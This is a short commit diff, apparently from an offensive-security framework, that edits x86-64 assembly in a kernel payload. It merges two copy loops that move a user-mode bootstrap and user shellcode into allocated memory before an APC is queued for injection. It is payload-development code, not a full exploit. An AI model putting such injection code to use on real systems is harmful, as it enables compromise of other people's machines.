Combine the shellcode move operations

This commit is contained in:
Spencer McIntyre 2021-04-13 16:46:26 -04:00
parent ba9674ca69
commit a9d3120aa9
1 changed files with 2 additions and 7 deletions

View File

@ -288,16 +288,11 @@ _alloc_mem:
call _call_nt_func
add rsp, 0x30
_copy_user_shellcode_bootstrap:
_copy_user_bootstrap_and_shellcode:
lea rdi, [rip-$_+_data_addr]
mov rdi, [rdi + USER_SHELLCODE_SIZE + OFFSET_SC_BASE_ADDR]
lea rsi, [rip-$_+_user_shellcode_bootstrap]
mov ecx, 0x1d
rep movsb
_copy_user_shellcode:
lea rsi, [rip-$_+_user_shellcode]
mov ecx, USER_SHELLCODE_SIZE
mov ecx, 0x1d + USER_SHELLCODE_SIZE
rep movsb
_init_and_insert_apc: